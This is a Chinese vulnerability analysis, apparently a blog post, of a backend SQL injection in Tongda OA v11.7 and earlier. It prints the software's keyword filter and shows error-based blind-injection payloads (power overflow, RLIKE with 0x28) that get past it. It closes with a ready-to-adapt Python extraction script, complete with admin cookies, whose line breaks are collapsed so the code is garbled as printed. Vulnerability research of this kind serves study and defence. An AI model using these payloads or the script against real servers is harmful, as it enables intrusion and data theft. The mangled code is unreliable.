文章目录

  • 漏洞描述
  • 漏洞影响
  • 漏洞分析

漏洞描述

通达OA v11.7后台存在SQL注入,可通过此漏洞写入恶意后门文件攻击目标服务器。

漏洞影响

通达OA <= v11.7

漏洞分析

下载通达oa 11.7,https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe

这里我觉得麻烦就用11.5分析了,大致都差不多的,最多多了几个过滤。

使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密

漏洞位置:/general/hr/manage/query/delete_cascade.php
如果$condition_cascade不为空就把里面的\'替换为',然后执行。

原因:V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护。

具体代码在inc/common.inc.php中,接收了我们的输入$_GET,然后将值$s_value进行了addslashes处理

addslashes()作用

我们再来看看是怎么执行SQL语句的,在delete_cascade.php中,使用的是exequery()函数。而inc/conn.php文件中是对SQL语句的各种处理函数。
我们跟踪exequery()函数,可以在inc/conn.php中找到定义,可以发现这里又调用了db_query()函数。


我们继续跟踪db_query()函数,可以发现这里就是执行SQL语句的函数,但是执行之前使用sql_injection()函数进行了过滤。
sql_injection()函数如下所示。

function sql_injection($db_string)
{$clean = "";$error = "";$old_pos = 0;$pos = -1;$db_string = str_replace(" ", " ", $db_string);while (true) {$pos = strpos($db_string, "'", $pos + 1);if ($pos === false) {break;}$clean .= substr($db_string, $old_pos, $pos - $old_pos);while (true) {$pos1 = strpos($db_string, "'", $pos + 1);$pos2 = strpos($db_string, "\\", $pos + 1);if ($pos1 === false) {break;}else {if (($pos2 == false) || ($pos1 < $pos2)) {$pos = $pos1;break;}}$pos = $pos2 + 1;}$clean .= "\$s\$";$old_pos = $pos + 1;}$clean .= substr($db_string, $old_pos);$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));$fail = false;if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("联合查询");}else {if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {$fail = true;$error = _("注释代码");}else {if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "sleep";}else {if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "benchmark";}else {if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("Load文件");}else {if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "cast";}else {if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ord";}else {if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ascii";}else {if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "extractvalue";}else {if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "updatexml";}else {if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("生成文件");}else {if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("exp");}else {if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {$fail = true;$error = "set file_priv";}}}}}}}}}}}}}if ($fail) {echo _("不安全的SQL语句:") . $error . "<br />";echo td_htmlspecialchars($db_string);exit();}else {return $db_string;}
}

过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符,盲注的核心是:substrif等函数,均未被过滤,那么只要构造MySQL报错即可配合if函数进行盲注了。

这里可以使用if来进行报错注入,这里还知道了power(9999,99)也能报错,当字符相等时,不报错,错误时报错。

select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))

也可以用rlike报错注入

select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))

如下所示,1=1返回成功,1=2则报错,说明存在盲注


老规矩,直接用脚本来进行注入

import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):high = 132low = 32mid = (high+low)//2while high > low:char = flag+chr(mid)headers = {"cookie": urllib.parse.unquote(cookies)}target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \"0x28 END))".format(sql, i, hex(mid))s = requests.get(url=target, headers=headers)if '信息删除成功' in s.text:low = mid+1else:high = midmid = (high+low)//2if mid == 33 or mid ==132:exit(0)flag += chr(mid-1)print("[+] "+flag)

修改一下脚本中的url、cookie、和要执行的SQL语句即可

通达OA v11.7后台SQL注入相关推荐

  1. 通达oa2015 php解密,通达OA /interface/auth.php SQL注入

    通达OA 两处注入点: ``` /interface/auth.php /general/score/flow/scoredate/result.php ``` 主要原因还是由于宽字符导致的. MYS ...

  2. 通达OA V11.4漏洞 -代码审计

    前言: O A 版本:通达OA系统11.4 测试环境:本地 渗透工具:BurpSuite pro.SeayDzend.TongDaOA-Fake-User(POC).PHPstorm.蚁剑 1. 存在 ...

  3. 通达OA v11.7 在线用户登录漏洞附自写poc

    文章目录 二.漏洞影响 三.漏洞复现 四.漏洞利用POC 五.总结 本文就介绍了通达OA v11.7 在线用户登录漏洞利用方法,及自己写的poc. # 一.漏洞描述 通达OA v11.7 中webro ...

  4. 【漏洞复现】通达OA v11.7 在线任意用户登录漏洞

    0x00 前言 通达OA V11.7版本存在这任意用户登录漏洞,该漏洞需要管理员在线才可以登录系统,另外一个方面就是编译在线的uid值进行判断. 具体fofa语法放在下面: app="TDX ...

  5. 通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现

    通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现 一.前言 通达OA,Office Anywhere的首字母,是通达信科旗下的品牌.通达OA v11.7 中存在某接口查询在线用户 ...

  6. 通达OA v11.9 getdata任意命令执行漏洞复现+利用

    1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...

  7. 通达OA v11.3 以下版本 任意文件上传加文件包含导致命令执行漏洞在线实验环境

    转载自: [通达OA <= v11.3 任意文件上传+文件包含导致命令执行漏洞利用]- https://store.vsplate.com/cn/post/519/ 在线环境地址:https:/ ...

  8. 网站安全测试与检测中 发现的OA系统中的SQL注入漏洞

    近日,SINE安全监测中心监控到泛微OA系统被爆出存在高危的sql注入漏洞,该移动办公OA系统,在正常使用过程中可以伪造匿名身份来进行SQL注入攻击,获取用户等隐私信息,目前该网站漏洞影响较大,使用此 ...

  9. 通达OA v11.7 在线用户登录漏洞复现(附带一键getshell脚本)

    在文章的顶部先说明,本文章所介绍的内容以及所附带的脚本仅供学习,如果存在有牟利行为,个人负责!!!仅用于学习娱乐,切勿用于非法用途!请于下载后24小时内删除,使用者承担所有法律责任!一个类似于越权的漏 ...

最新文章

  1. LaxTex---问题1: ! I can't write on file `***.pdf'.(Press Enter to retry, or Control-Z to exit; \ldots
  2. np.array 与np.asarray区别
  3. 携程在线风控系统架构
  4. 高级会计师资格考试成绩合格证在全国范围内几年有效
  5. Buildroot构建指南——Linux内核
  6. logback日志配置
  7. 12c oracle 激活_Windows运维之Windows server 2016 安装及ORACLE 12C 安装
  8. html5 标准结构_IT兄弟连 HTML5教程 HTML文件的主体结构
  9. 禁止WinXP文件夹自动展开
  10. Android子线程进度条不显示的问题
  11. Zabbix学习(十七)zabbix low-level discover zabbix批量部署必备
  12. GD32实战14__RTC
  13. 一条SQL查询语句的执行过程,一张图说清SQL查询语句执行过程
  14. openjudge白细胞计数
  15. python将中文数字转化成阿拉伯数字
  16. IOS开发——获取局域网IP
  17. 腾讯云直播产品系列(一):标准直播POC实践
  18. Java中内存问题之OOM 和SOF
  19. XLSX转换为DOCX,Aspose.Cells快速搞定
  20. RK3399学习笔记 1.0.3---python环境 Firefly Core-3399pro-jd4 Win10上RKNN工具安装

热门文章

  1. Go语言特性记录及与java、python对比之包、变量和函数
  2. 关于Arcgis用excel导入坐标点位置不对的解决方式
  3. 模拟退火模型(matlab实现)
  4. ARCore HDR 光估测深度解析
  5. putty乱码问题及解决
  6. GC(Gabage Collection)
  7. 【bat】1kb病毒查杀程序
  8. 有关primary key 和 foreign key
  9. 【人工智能】深度学习、数据库选择和人工智能的革命;人工智能是解锁IoT潜力的钥匙
  10. Linux系统编程之网络编程(socket)